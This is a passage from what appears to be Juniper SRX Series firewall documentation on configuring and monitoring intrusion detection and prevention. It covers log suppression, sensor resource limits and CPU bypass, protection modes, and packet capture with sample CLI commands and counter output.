user@host# set vlans bd-vlan-301 l3-interface irb.301
```

Results

From configuration mode, confirm your configuration by entering the show security idp and show applications commands. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
idp-policy idppolicy {
    rulebase-ips {
        rule 1 {
            match {
                from-zone any;
                source-address any;
                to-zone any;
                destination-address any;
                application default;
            }
            then {
                action {
                    close-client-and-server;
                notification {
                    log-attacks;
                }
            }
        }
    }
}
```

```
[edit]
user@host# show security policies
from-zone untrust to-zone trust {
```

```
policy 1 {
        match {
            source-address any;
            destination-address any;
            application any;
        }
        then {
            permit {
                application-services {
                    idp-policy idppolicy;
                }
            }
        }
   }
}
default-policy {
    permit-all;
}
```

```
[edit]
user@host# show security zones
security-zone trust {
    host-inbound-traffic {
        system-services {
            all;
        }
        protocols {
            all;
        }
    }
    interfaces {
        ge-0/0/0.0;
        ge-0/0/2.0;
    }
    advance-policy-based-routing-profile {
        p1;
    }
}
security-zone untrust {
    host-inbound-traffic {
        system-services {
```

```
all;
}
protocols {
    all;
}

interfaces {
    ge-0/0/1.0;
    ge-0/0/2.0;
    ge-0/0/3.0;
    ge-0/0/0.0;
}
application-tracking;
}
```

```
[edit]
user@host# show interfaces
ge-0/0/0 {
   unit 0 {
        family inet {
            address 14.0.0.1/24;
        family ethernet-switching {
            interface-mode access;
            vlan {
                members 301;
            }
        }
   }
}
ge-0/0/2 {
    unit 0 {
        family inet {
            address 192.0.3.1/24;
        family ethernet-switching {
            interface-mode access;
            vlan {
                members 301;
            }
        }
```

```
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify the Configuration | 451

To confirm that the configuration is working properly, perform this task:

Verify the Configuration

Purpose

Verify the IDP attack context after you run the PCAPs using the PCAP feeder tool.

Action

From operational mode, enter the show security idp attack context command.

Sample Output

```
user@host> show security idp attack context
IDP context statistics:
  Context name
                                               #Hits
                                                             #Data
                                                              /
  http-url
                                               1
                                                              /
  http-get-url
                                               1
  http-header-host
                                                              7.0.0.1
  http-header-user-agent
                                               1
                                                              lwp-request/5.827 libwww-perl/5.833
  http-header
                                               2
                                                              te: deflate,gzip;q=0.3 &&
connection: TE, close
  http-request
                                               1
                                                              GET / HTTP/1.1
  http-request-method
                                               1
                                                              GET / HTTP/1.1
```

Platform-Specific Packet Capture Behavior

Use Feature Explorer to confirm platform and release support for specific features.

Use the following table to review platform-specific behaviors for your platform.

Platform	Difference
SRX Series Firewalls	SRX300, SRX320, SRX340, and SRX345 Firewalls that support Packet Capture support the request security idp pcap-analysis command that allows users to view the current analysis state and reset previously processed data specifically for packet capture traffic.



Monitor IDP

IN THIS CHAPTER

- IDP Event Logging | 454
- IDP Sensor Configuration | 459
- IDP Security Packet Capture | 474

IDP Event Logging

SUMMARY

The IDP system enhances standard Junos OS logging by generating detailed event logs for detected attacks. To manage potential high volume of logs during such events, IDP supports configurable log suppression, which consolidates multiple identical events into single entries, optimizing log management and system performance.

IN THIS SECTION

- IDP Logging Overview | 454
- IDP Log Suppression Attributes | 455
- Example: Configure IDP Log Suppression
 Attributes | 456
- IDP Log Information Usage on the IC Series
 UAC Appliance | 457
- IDP Alarms and Audit | 458

The basic Junos OS system logging continues to function after IDP is enabled.

IDP Logging Overview

An IDP-enabled device continues to record events that occur because of routine operations, such as a user login into the configuration database. It records failure and error conditions, such as failure to access a configuration file. You can configure files to log system messages and also assign attributes, such as severity levels, to messages. In addition to the regular system log messages, IDP generates event logs for attacks.

IDP generates event logs when an event matches an IDP policy rule in which logging is enabled. When you configure a rule for logging, the device creates a log entry for each event that matches that rule. You can use the CLI or J-Web to configure the policy rules to generate event logs.

In the IDP attack detection event log message (IDP_ATTACK_LOG_EVENT_LS), the time-elapsed, inbytes, outbytes, inpackets, and outpackets fields are not populated.

Because IDP event logs are generated during an attack, log generation happens in bursts, generating a much larger volume of messages during an attack. In comparison to other event messages, the message size is also much larger for attack generated messages. The log volume and message size are important concerns for log management. To better manage the volume of log messages, IDP supports log suppression.

By configuring log suppression, you can suppress multiple instances of the same log occurring from the same or similar sessions over the same period of time.

SEE ALSO

Understand IDP Policy | 43

Understand Packet Capture | 474

IDP Log Information Usage on the IC Series UAC Appliance | 457

IDP Log Suppression Attributes

Log suppression ensures that minimal numbers of logs are generated for the same event or attack that occurs multiple times. Log suppression is enabled by default. You can configure certain log suppression attributes to suppress logs according to your needs. When configuring log suppression, keep in mind that log suppression can negatively impact sensor performance if you set the reporting interval too high.

You can configure the following log suppression attributes:

- Include destination addresses while performing log suppression—You can choose to combine log
 records for events with a matching source address. By default, the IDP sensor does not consider
 destination when matching events for log suppression.
- Number of log occurrences after which log suppression begins—You can specify the number of
 instances that a specific event must occur before log suppression begins. By default, log suppression
 begins after the first occurrence.
- Maximum number of logs that log suppression can operate on—When log suppression is enabled,
 Intrusion Detection and Prevention (IDP) must cache log records so that it can identify when multiple
 occurrences of the same event occur. You can specify how many log records are tracked
 simultaneously by IDP. By default, the maximum number of log records that IDP can operate on is
 16,384.
- Time after which suppressed logs are reported—When log suppression is enabled, IDP maintains a
 count of occurrences of the same event. After the specified number of seconds have passed, IDP
 writes a single log entry containing the count of occurrences. By default, IDP reports suppressed logs
 after 5 seconds.

Example: Configure IDP Log Suppression Attributes

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- Requirements | 456
- Overview | 456
- Configuration | 456
- Verification | 457

This example shows how to configure log suppression attributes.

Requirements

Before you begin:

- Configure network interfaces.
- Download the signature database. See "IDP Signature Database" on page 20.

Overview

In this example, you configure log suppression to begin after the second occurrence of an event and specify that logs are reported after 20 seconds.

Configuration

IN THIS SECTION

Procedure | 456

Procedure

Step-by-Step Procedure

To configure log suppression attributes:

1. Specify the log number after which you want to start log suppression.

```
[edit]
user@host# set security idp sensor-configuration log suppression start-log 2
```

2. Specify the maximum time after which suppressed logs are reported.

```
[edit]
user@host# set security idp sensor-configuration log suppression max-time-report 20
```

3. If you are done configuring the device, commit the configuration.

```
[edit]
user@host# commit
```

Verification

To verify log statistics, enter the show security idp counters log command.

SEE ALSO

```
Example: Define Rules for an IDP IPS RuleBase | 82

IDP Log Suppression Attributes | 455
```

IDP Log Information Usage on the IC Series UAC Appliance

IN THIS SECTION

- Message Filtering to the IC Series UAC Appliance | 458
- Configure IC Series UAC Appliance Logging | 458

The IC Series United Access Control (UAC) Appliance for the UAC appliance can use IDP attack log information sent from the Juniper Networks device to apply access policies for traffic in which IDP logs

indicate an attack has been detected. Using a secure channel of communication, these IDP logs are sent to the IC Series appliance directly and securely. IDP attack logs are sent to the IC Series appliance through the JUEP communication channel.

Message Filtering to the IC Series UAC Appliance

When you configure the IC Series UAC Appliance to receive IDP log messages, you set certain filtering parameters on the IC Series appliance. Without this filtering, the IC Series appliance could potentially receive too many log messages. The filtering parameters could include the following:

- The IC Series appliance should only receive communications from IDP for sessions it has authenticated. See the *Unified Access Control Administration Guide* for details.
- You can create IC Series appliance filters for receiving IDP logs files based on the their severity. For
 example, if on the IC Series appliance the severity is set to high, then IDP only sends logs which have
 a severity greater than or equal to high. See the *Unified Access Control Administration Guide* for
 details.
- From the IC Series appliance, you can disable the receiving of all IDP logs. See the *Unified Access Control Administration Guide* for details.

Configure IC Series UAC Appliance Logging

All the configuration for receiving and filtering IDP logs is done on the IC Series UAC Appliance. See *Unified Access Control Administration Guide* for configuration information for receiving IDP logs and details on the JUEP communication channel.

IDP Alarms and Audit

By default, IDP logs the occurrence of an event without raising an alarm to the administrator. When the system is configured to log an event and the potential-violation option is set, IDP logs on the Packet Forwarding Engine are forwarded to Routing Engine. The Routing Engine then parses the IDP attack logs and raises IDP alarms as necessary.

- To enable an IDP alarm, use the set security alarms potential-violation idp command.
- To verify that the configuration is working properly, use the show security alarms command.

RELATED DOCUMENTATION

IDP Sensor Configuration

SUMMARY

IDP Sensor Configuration allows administrators to configure settings for optimizing IDP performance on SRX Series Firewalls. It explains how to limit memory and session usage, control traffic drops when resources are exceeded and configure IDP Intelligent Bypass for managing high CPU utilization. It also covers handling conditions during failovers.

IN THIS SECTION

- IDP Sensor Configuration Overview | 459
- Example: Improve Logging and Traffic Analysis with IDP Sensor Configuration Options | 466

You cannot create application signatures with the IDP signature database. However, you can configure sensor settings to limit sessions and memory usage for Application Identification (ApplD).

IDP Sensor Configuration Overview

IN THIS SECTION

IDP Protection Modes | 464

Sensor configuration options are used to:

- Log run conditions as IDP session capacity and memory limits are approached.
- Analyze traffic dropped by IDP and application identification when the limits are exceeded.

You can configure the maximum amount of memory bytes that can be used to save packets for application identification for one TCP or UDP session. You can also configure a limit for global memory usage for application identification. ApplD is disabled for a session after the system reaches the specified memory limit for the session. However, IDP continues to match patterns. The matched

application is saved to cache so that the next session can use it. This protects the system from attackers trying to bypass ApplD by purposefully sending large client-to-server packets.

Although you cannot create application signatures with the IDP signature database, you can configure the following sensor settings to limit the number of sessions running application identification and also to limit memory usage for application identification:

- max-tcp-session-packet-memory—To configure memory and session limits for IDP AppID services, run the set security idp sensor-configuration application-identification max-tcp-session-packetmemory 5000 command.
- memory-limit-percent—To set memory limit percentage for data plane available in the system, which can be used for IDP allocation, run the set security idp sensor-configuration global memory-limit-percent command. The supported percentage value is from 10 through 90.
- drop-if-no-policy-loaded—At startup, traffic is ignored by IDP by default if the IDP policy is not yet
 loaded. The drop-if-no-policy-loaded option changes this behavior so that all sessions are dropped
 before the IDP policy is loaded.

The following counter for the show security idp counters flow command output analyzes dropped traffic due to the drop-if-no-policy-loaded option:

Sessions dropped due to no policy 0

drop-on-failover—By default, IDP ignores failover sessions in an SRX Series chassis cluster
deployment. The drop-on-failover option changes this behavior and automatically drops sessions that
are in the process of being inspected on the primary node when a failover to the secondary node
occurs.

The following counter for the show security idp counters flow command output analyzes dropped failover traffic due to the drop-on-failover option:

Fail-over sessions dropped 0

• **drop-on-limit**—By default, sessions are not dropped if the IDP session limit or resource limits are exceeded. In this case, IDP and other sessions are dropped only when the device's session capacity or resources are depleted. The drop-on-limit option changes this behavior and drops sessions when resource limits are exceeded.

The following counters for the show security idp counters flow command output analyze dropped IDP traffic due to the drop-on-limit option:

```
SM Sessions encountered memory failures
                                                        0
SM Packets on sessions with memory failures
                                                        0
SM Sessions dropped
                                                        a
Both directions flows ignored
                                                        0
IDP Stream Sessions dropped due to memory failure
                                                        0
IDP Stream Sessions ignored due to memory failure
                                                        0
IDP Stream Sessions closed due to memory failure
                                                        0
Number of times Sessions exceed high mark
                                                        0
Number of times Sessions drop below low mark
                                                        0
Memory of Sessions exceeds high mark
                                                        0
Memory of Sessions drops below low mark
```

The following counters for the show security idp counters application-identification command output analyze dropped ApplD traffic due to the drop-on-limit option:

```
AI-session dropped due to malloc failure before session create 0
AI-Sessions dropped due to malloc failure after create 0
AI-Packets received on sessions marked for drop due to malloc failure 0
```

The following options are used to trigger informative log messages about current run conditions. When set, the log messages are triggered whether the drop-on-limit option is set or not.

max-sessions-offset—The max-sessions-offset option sets an offset for the maximum IDP session limit.
When the number of IDP sessions exceeds the maximum session limit, a warning is logged that conditions exist where IDP sessions could be dropped. When the number of IDP sessions drops below the maximum IDP session limit minus the offset value, a message is logged that conditions have returned to normal.

```
Jul 19 04:38:13 4.0.0.254 RT_IDP: IDP_SESSION_LOG_EVENT: IDP: at 1374233893, FPC 4 PIC 1 IDP total sessions pass through high mark 100000. IDP may drop new sessions. Total sessions dropped 0.

Jul 19 04:38:21 4.0.0.254 RT_IDP: IDP_SESSION_LOG_EVENT: IDP: at 1374233901, FPC 4 PIC 1 IDP total sessions drop below low mark 99000. IDP working in normal mode. Total sessions dropped 24373.
```

• min-objcache-limit-lt—The min-objcache-limit-lt option sets a lower threshold for available cache memory. The threshold value is expressed as a percentage of available IDP cache memory. If the

available cache memory drops below the lower threshold level, a message is logged stating that conditions exist where IDP sessions could be dropped because of memory allocation failures. For example, the following message shows that the IDP cache memory has dropped below the lower threshold and that a number of sessions have been dropped:

Jul 19 04:07:33 4.0.0.254 RT_IDP: IDP_SESSION_LOG_EVENT: IDP: at 1374232053, FPC 4 PIC 1 IDP total available objcache(used 4253368304, limit 7247757312) drops below low mark 3986266515. IDP may drop new sessions. Total sessions dropped 1002593.

• min-objcache-limit-ut—The min-objcache-limit-ut option sets an upper threshold for available cache memory. The threshold value is expressed as a percentage of available IDP cache memory. If available IDP cache memory returns to the upper threshold level, a message is logged stating that available cache memory has returned to normal. For example, the following message shows the available IDP cache memory has increased above the upper threshold and it is performing normally:

Jul 19 04:13:47 4.0.0.254 RT_IDP: IDP_SESSION_LOG_EVENT: IDP: at 1374232428, FPC 4 PIC 1 IDP total available objcache(used 2782950560, limit 7247757312) increases above high mark 4348654380. IDP working in normal mode. Total sessions dropped 13424632.

The message triggers only when available memory falls below the lower threshold and then rises above the upper threshold. Memory fluctuations above the lower threshold do not trigger the message.

In the IDP Intelligent Bypass default configuration, IDP attempts to inspect new and existing sessions, regardless of CPU utilization. This can lead to dropped packets, latency, and instability across the system during high CPU utilization events. To overcome unpredictable IDP packet processing behavior, you can enable the IDP Intelligent Bypass feature. This feature gives you the flexibility to bypass IDP or to drop the packets when the system CPU utilization reaches a high level, otherwise known as "Failing Open" (permit packets) or "Failing Closed" (dropping packets). By default, IDP Intelligent Bypass feature is not enabled. The following options are used to configure the IDP Intelligent Bypass feature.

- idp-bypass-cpu-usage-overload—By default, IDP may consume 100 percent of available CPU and may begin dropping packets for all sessions inadvertently. To handle IDP packet processing behavior when the system CPU utilization reaches high threshold value, you can enable the IDP Intelligent Bypass feature. To enable IDP Intelligent Bypass feature, issue the set security idp sensor-configuration flow idp-bypass-cpu-overload command. By default, IDP Intelligent Bypass feature is not enabled.
- idp-bypass-cpu-threshold—IDP stops inspecting new sessions when CPU utilization reaches the defined threshold value. The default threshold CPU utilization value is 85 percent. When CPU utilization reaches threshold value, IDP keeps on bypassing new sessions until CPU utilization falls below the lower threshold value. Alternatively, if you set the drop-on-limit, where IDP drops new session until CPU utilization falls below the lower threshold value. To configure the threshold value,

issue set security idp sensor-configuration flow idp-bypass-cpu-threshold command. You can set a threshold value in the range 0 through 99. This threshold value is expressed as a percentage.


• idp-bypass-cpu-tolerance—To configure the tolerance value, issue the set security idp sensor-configuration flow idp-bypass-cpu-tolerance command. You can set a tolerance value in the range 1 through 99. The default tolerance value is 5. This tolerance value is expressed as a percentage.

You can calculate the CPU upper and lower threshold values by using the following equations:

CPU upper threshold value = CPU threshold + CPU tolerance value.

CPU lower threshold value = CPU threshold - CPU tolerance value.

Figure 5: Understanding IDP Packet Processing Behavior During High Threshold



When the system CPU utilization exceeds the threshold value, IDP stops inspecting new sessions, but continues to inspect existing sessions. In this state, if drop-on-limit is set, IDP starts dropping new sessions. Log messages are triggered to indicate new sessions are dropped. For example, the following

message states that IDP CPU utilization has crossed the threshold value and IDP may drop new sessions:

FPC 0 PIC 1 IDP CPU usage 86 crossed threshold value 85. IDP may drop new sessions. Total sessions dropped 2

When the system CPU utilization exceeds the upper threshold value, IDP stops inspecting the packets of existing sessions and new sessions. In this state, no packets can go through IDP inspection. If drop-on-limit is set, IDP drops all sessions. Log messages are triggered to indicate all sessions are dropped. For example, the following message states that IDP CPU utilization has crossed the upper threshold value, and IDP stops inspecting the packets of the existing sessions and new sessions:

FPC 0 PIC 1 IDP CPU usage 92 crossed upper threshold value 90. IDP may drop packets of existing sessions as well as new sessions. Total sessions dropped 21

When the system CPU utilization falls below the lower threshold value, IDP starts inspecting new session and returns to normal mode. IDP will not inspect existing discarded sessions. Log messages are triggered to indicate IDP starts inspecting new session and returned to normal mode. For example, the following message states that IDP CPU utilization falls below the lower threshold value, and IDP returns to normal mode:

FPC 0 PIC 1 IDP CPU usage 75 dropped below lower threshold value 80. IDP working in normal mode. Total sessions dropped 25

IDP Protection Modes

IDP protection modes adjust the inspection parameters for efficient inspection of traffic in the device. To enable the IDP protection modes, issue the security-configuration protection-mode *mode* command at the [edit security idp sensor-configuration] hierarchy level.

user@host# set security-configuration protection-mode mode

There are four IDP protection modes:

All IDP protection modes inspect CTS (Client To Server) traffic.

Table 84: IDP Protection Modes

Mode	Description
Perimeter-Full	Inspects all STC(Server To Client) traffic. Processes TCP errors without any optimization. This is the default mode.
Perimeter	Inspects all STC traffic. Processes TCP errors with optimization. For TCP packets, if SYN is received in a window and has a TCP error flag set, then process the TCP error and take appropriate action. Drop the current packet and ignore inspection on the entire session.
Datacenter-Full	Disables all STC traffic inspection. Processes TCP errors without any optimization. Datacenter-Full can be used in situations where the SRX Series Firewall is only responsible for protecting servers whose response traffic is not deemed interesting for analysis. Datacenter-Full should not be used in cases where the SRX Series Firewall is responsible for protecting clients.
Datacenter	Disables all STC traffic inspection. Processes TCP errors with optimization. For TCP packets, if SYN is received in a window and has a TCP error flag set, then process the TCP error and take appropriate action. Drop the current packet and ignore inspection on the entire session. Datacenter configuration is optimized to provide balanced protection and performance.

SEE ALSO

Understand Application Identification | 401

Example: Improve Logging and Traffic Analysis with IDP Sensor Configuration Options

IN THIS SECTION

- Requirements | 466
- Overview | 466
- Configuration | 467
- Verification | 469

This example shows how to improve logging and traffic analysis by configuring IDP sensor configuration options. In addition, you can use these options to log run conditions as IDP session capacity and memory limits are approached, and to analyze traffic dropped by IDP and application identification when exceeding these limitations.

Requirements

Before you begin:

- Configure network interfaces.
- Download the signature database. See "Updating the IDP Signature Database Manually" on page 34. Application signatures are available as part of the security package provided by Juniper Networks. You download predefined application signatures along with the security package updates.

Overview

The IDP sensor monitors the network and detects suspicious and anomalous network traffic based on specific rules defined in IDP rulebases. It applies attack objects to traffic based on protocols or applications. Application signatures enable the sensor to identify known and unknown applications running on nonstandard ports and to apply the correct attack objects.

The default behavior of IDP is to ignore the sessions when:

- IDP policy is not configured in the device
- Resource limits (memory or active sessions) are reached
- In case of Chassis Cluster, for fail over sessions

If traffic availability is considered more important than security, then it is recommended to continue to use the above mentioned default behavior of IDP. However, If security is considered more important than availability, then it is recommended to change the default behavior with the configuration provided in this example.

Configuration

IN THIS SECTION

- Procedure | 467
- Results | 469

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security idp sensor-configuration application-identification max-tcp-session-packet-memory 5000

set security idp sensor-configuration flow drop-if-no-policy-loaded set security idp sensor-configuration flow drop-on-failover set security idp sensor-configuration flow drop-on-limit set security idp sensor-configuration flow max-sessions-offset 5 set security idp sensor-configuration flow min-objcache-limit-lt 21 set security idp sensor-configuration flow min-objcache-limit-ut 56
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To set IDP sensor configuration options:

1. Specify the memory limits for application identification.

```
[edit security idp sensor-configuration]
user@host# set application-identification max-tcp-session-packet-memory 5000
```

2. Specify that traffic is dropped before the IDP policy is loaded.

```
[edit security idp sensor-configuration flow]
user@host# set drop-if-no-policy-loaded
```

3. Specify that failover sessions in an SRX Series chassis cluster deployment are dropped.

```
[edit security idp sensor-configuration flow]
user@host# set drop-on-failover
```

4. Specify that sessions are dropped when resource limits are exceeded.

```
[edit security idp sensor-configuration flow]
user@host# set drop-on-limit
```

Run the delete drop-on-limit command to prevent sessions drops when resource limits are exceeded.

5. Configure an offset value for the maximum IDP session limit.

```
[edit ssecurity idp sensor-configuration flow]
user@host# set max-sessions-offset 5
```

6. Set a lower threshold for available cache memory.

```
[edit security idp sensor-configuration flow]
user@host# set min-objcache-limit-lt 21
```

7. Set an upper threshold for available cache memory.

```
[edit security idp sensor-configuration flow]
user@host# set min-objcache-limit-ut 56
```

Results

From configuration mode, confirm your configuration by entering the show security idp command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
sensor-configuration {
    application-identification {
        max-tcp-session-packet-memory 5000;
    }
    flow {
        drop-on-limit;
        drop-on-failover;
        drop-if-no-policy-loaded;
        max-sessions-offset 5;
        min-objcache-limit-lt 21;
        min-objcache-limit-ut 56;
    }
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

- Verify IDP Sensor Configuration Settings | 469
- Verify IDP Counters | 470

Verify IDP Sensor Configuration Settings

Purpose

Verify the IDP sensor configuration settings.

Action

From operational mode, enter the show security idp sensor-configuration command.

```
user@host> show security idp sensor-configuration
    application-identification {
        max-tcp-session-packet-memory 5000;
    }
    flow {
            drop-on-limit;
            drop-if-no-policy-loaded;
            max-sessions-offset 5;
            min-objcache-limit-lt 21;
            min-objcache-limit-ut 56;
    }
}
```

Meaning

The show security idp sensor-configuration command displays all sensor configuration options that are set with certain values.

Verify IDP Counters

Purpose

Verify the IDP counters.

Action

From operational mode, enter the show security idp counters flow command.

Sample Output

```
IDP counters:

IDP counter type

Fast-path packets

Slow-path packets

0
```

Session construction failed	0
Session limit reached	0
Session inspection depth reached	0
Memory limit reached	0
Not a new session	0
Invalid index at ageout	0
Packet logging	0
Policy cache hits	0
Policy cache misses	0
Policy cache entries	0
Maximum flow hash collisions	0
Flow hash collisions	0
Gates added	0
Gate matches	0
Sessions deleted	0
Sessions aged-out	0
Sessions in-use while aged-out	0
TCP flows marked dead on RST/FIN	0
Policy init failed	0
Number of times Sessions exceed high mark	0
Number of times Sessions drop below low mark	0
Memory of Sessions exceeds high mark	0
Memory of Sessions drops below low mark	0
SM Sessions encountered memory failures	0
SM Packets on sessions with memory failures	0
IDP session gate creation requests	0
IDP session gate creation acknowledgements	0
IDP session gate hits	0
IDP session gate timeouts	0
Number of times Sessions crossed the CPU threshold value that is set	0
Number of times Sessions crossed the CPU upper threshold	0
Sessions constructed	0
SM Sessions ignored	0
SM Sessions dropped	0
SM Sessions interested	0
SM Sessions not interested	749
SM Sessions interest error	0
Sessions destructed	0
SM Session Create	0
SM Packet Process	0
SM ftp data session ignored by idp	0
SM Session close	0
SM Client-to-server packets	0
on offent to server packets	•

SM Server-to-client packets	0
SM Client-to-server L7 bytes	0
SM Server-to-client L7 bytes	0
Client-to-server flows ignored	0
Server-to-client flows ignored	0
Both directions flows ignored	0
Fail-over sessions dropped	0
Sessions dropped due to no policy	0
IDP Stream Sessions dropped due to memory failure	0
IDP Stream Sessions ignored due to memory failure	0
IDP Stream Sessions closed due to memory failure	0
IDP Stream Sessions accepted	0
IDP Stream Sessions constructed	0
IDP Stream Sessions destructed	0
IDP Stream Move Data	0
IDP Stream Sessions ignored on JSF SSL Event	0
IDP Stream Sessions not processed for no matching rules	0
IDP Stream stbuf dropped	0
IDP Stream stbuf reinjected	0
Busy pkts from stream plugin	0
Busy pkts from pkt plugin	0
bad kpp	0
Lsys policy id lookup failed sessions	0
Busy packets	0
Busy packet Errors	0
Dropped queued packets (async mode)	0
Dropped queued packets failed(async mode)	0
Reinjected packets (async mode)	0
Reinjected packets failed(async mode)	0
AI saved processed packet	0
AI-session dropped due to malloc failure before session create	0
AI-Sessions dropped due to malloc failure after create	0
AI-Packets received on sessions marked for drop due to malloc failure	0
busy packet count incremented	0
busy packet count decremented	0
session destructed in pme	0
session destruct set in pme	0
kq op hold	0
kq op drop	0
kq op route	0
kq op continue	0
kq op error	0
kq op stop	0

PME wait not set	0
PME wait set	0
PME KQ run not called	0

Meaning

The show security idp counters flow command displays all counters that are used for analyzing dropped failover traffic, dropped IDP traffic, and dropped application identification traffic.

SEE ALSO

sensor-configuration

IDP Sensor Configuration Overview | 459

Change History Table

Feature support is determined by the platform and release you are using. Use Feature Explorer to determine if a feature is supported on your platform.

Release	Description
19.2R1	If the configured CPU and memory threshold values exceed the resource limits, then IDP intelligent inspection helps the device recover from the overload state. You can enable IDP intelligent inspection and tune it dynamically to reduce the load of full IDP inspection.

RELATED DOCUMENTATION

Understand IDP Policy | 43

IDP Policy Rules and IDP Rule Bases | 65

IDP Security Packet Capture

SUMMARY

This topic describes how to capture packets before and after an attack to determine attack details and create signatures. It covers enabling packet capture for specific rules, configuring memory allocation, and transmitting captured packets to a host device for analysis. Encryption support using SSL/TLS for packet logs is introduced, along with the ability to store logs locally on SRX Series Firewalls.

IN THIS SECTION

- Understand Packet Capture | 474
- Example: Configure Security Packet
 Capture | 478
- Example: Configure Packet Capture for Datapath Debugging | 484
- IDP Security Packet Logging for Logical Systems and Tenant Systems | 489

An IDP sensor configuration defines the device specifications for the packet capture.

Understand Packet Capture

IN THIS SECTION

- Encryption Support for IDP Packet Capture | 475
- Support for IDP On-Box Packet Capture | 476

Viewing packets that precede and follow an attack helps you determine the purpose and extent of an attempted attack, whether an attack was successful, and if any network damage was caused by an attack. Packet analysis also aids in defining attack signatures to minimize false positives.

If packet capture is enabled when an attack is logged, a specified number of packets before and after the attack can be captured for the session. When all packets have been collected, they are transmitted in Device Management Interface (DMI) to a host device for offline analysis.

A notification option in the IDP policy rule enables packet capture when a rule match occurs. The option further defines the number of packets to be captured and the duration of packet capture for the associated session.

An IDP sensor configuration defines the device specifications for the packet capture. Options for this command determine the memory to be allocated for packet capture, and the source and host devices between which the packet capture object will be transmitted.

A show command displays packet capture counters that provide details about the progress, success, and failure of packet capture activity on the device.

Support for packet capture is available only once on each session.

When packet capturing is configured with an improved pre-attack configuration parameter value, the resource usage increases proportionally and might affect the performance of your device.

Encryption Support for IDP Packet Capture

You can enable a Secure Sockets Layer (SSL) or Transport Layer Security (TLS) connection and send encrypted IDP packet capture log to the packet capture receiver. To establish the SSL or TLS connection, you must specify the SSL initiation profile name that you want to use in the IDP packet log configuration. The SRX Series Firewall is the SSL or TLS client and the packet capture receiver is the SSL or TLS server.

IDP uses a secure SSL or TLS connection to send the IDP packet logs to the configured host for all sessions (encrypted and non-encrypted) within a logical system or a tenant system, if encryption support is enabled in the packet log configuration. Once the packet logs are sent to the packet capture receiver, the SSL connection is closed.

Previously, when encrypted traffic was sent for inspection, IDP received decrypted traffic using an SSL proxy and inspected it for attack detection. If an attack was detected and packet log was configured, then decrypted packets were sent as part of packet log to the configured host through UDP traffic. This transmission of packet-log without encryption is not secured, especially when packet-log captured is for encrypted traffic.

When encryption support is enabled, SSL profile must be configured in each logical system separately. The IDP sensor configuration performed in the root logical system for transport parameters cannot be used for the other logical systems or tenant systems.

The SSL or TLS connection for IDP packet logs is established as follows:

- When packet logging process starts, if there is no SSL or TLS connection to the host, then a new SSL connection is established for sending the packet logs.
- During packet log transmission, if there is an existing SSL or TLS connection, then the same connection is reused.
- When packet logging stops, captured packets are transmitted over the established SSL or TLS connection.

• If an SSL or TLS packet transmission session is busy and a new packet log request arrives from the host, the new packet logs are queued and sent only after the existing SSL session is completed.

The packet log configuration of IDP now supports the SSL profile name configuration. You can use this updated packet log configuration to establish a secure SSL connection for IDP packet logs.

The updated IDP packet log commands with SSL configuration are:

- set security idp sensor-configuration packet-log ssl-profile-name < profile-name>
- For sessions within a logical system-set logical system logical system name security idp sensorconfiguration packet-log ssl-profile-name < profile-name>
- For sessions within a tenant system-set tenants tenant name security idp sensor-configuration packet-log ssl-profile-name < profile-name>

The profile name mentioned in these commands must be configured in the SSL initiation profile configuration. SSL initiation profile configuration performs the required SSL certificates and SSL handshake operations to establish a secure connection. SSL versions are chosen based on the SSL initiation configuration.

If SSL profile name is not configured in SSL initiation profile configuration, then the following message is displayed **Referenced SSL initiation profile is not defined**.

To view the new packet log counters, use the show security idp counters packet-log command.

Benefits

- Ensures data privacy and security using SSL and TLS keys along with certificate-based encryption.
- Allows support for streaming potential private information to shared entities in a network.

Support for IDP On-Box Packet Capture

When an attack occurs, packets are captured using the IDP packet logging feature and the attack behavior is analyzed offline. Sometimes, a log collector device such as the Security Director is not available for offline collection of the captured packets. In such cases, the captured packets can be stored locally on the SRX Series Firewall and details can be viewed on the J-Web.

The existing IDP packet log configurations are used as usual, and you can use the commands to set the packet-log for the IDP rule. You can use the set security idp sensor-configuration packet-log local-storage command to store the captured packets on the device.

If you use this configuration, there is no change in sending the packet-log to the off-box host or collector if the details are configured for the host.

The captured traffic is stored at /var/log/pcap/idp/. The name of the PCAP file is based on the time stamp, attack log ID, and the trigger packet number.

You can restrict the number of PCAP files that are created by using the log rotation facility that is provided. Use the following configuration to limit the number of PCAP files that should be created in /var/log/pcap/idp:

set security idp sensor-configuration packet-log local-storage max-files <1..5000>

The default value is 500.

The following configuration is used to set the limit for the maximum disk space to be used to store the PCAP files.

set security idp sensor-configuration packet-log local-storage storage-limit <1048576...4294967296>

The default value is 100M and the minimum is 1M.

Counters indicate the on-box capture statistics. New counters are added to the existing packet-log counters. You can view details of the packet-log counters using the following command:

user@host> show security idp counters packet-log

IDP counters:		
Total packets sent for local packet capture	0	
Total sessions enabled for local packet capture	0	
Sessions currently enabled for local packet capture	0	
Packets currently captured for local enabled sessions	0	
Packet clone failures for local capture	0	
Total failures sending packets captured to RE	0	

A flag is now set on the existing session-close syslog when an on-box packet capture file is generated for this session. The third-last parameter in the following example (128 - feature stats for the session) indicates this. The following is an example:

RT_FLOW: RT_FLOW_SESSION_CLOSE: session closed TCP FIN: 4.0.0.1/44508->6.0.0.2/80 0x0 junos-http 4.0.0.1/44508->6.0.0.2/80 0x0 N/A N/A N/A N/A 6 1 trust untrust 22 7(420) 6(3879) 2 HTTP UNKNOWN N/A(N/A) ge-0/0/2.0 No Web N/A 4 Can Leak Information; Supports File Transfer; Prone to Misuse; Known Vulnerabilities; Carrier of Malware; Capable of Tunneling; NA 0 0.0.0.0/0->0.0.0.0/0 NA N/A N/A Off root 128 N/A N/A

The following are the other useful commands:

- Use delete security idp sensor-configuration packet-log local-storage and commit to delete the configuration and commit to disable on-box logging.
- Use the clear counter command, clear security idp counters packet-log to remove the on-box capture details.

• Use request security idp storage-cleanup packet-capture to clear all the captured files.

SEE ALSO

IDP Logging Overview | 454

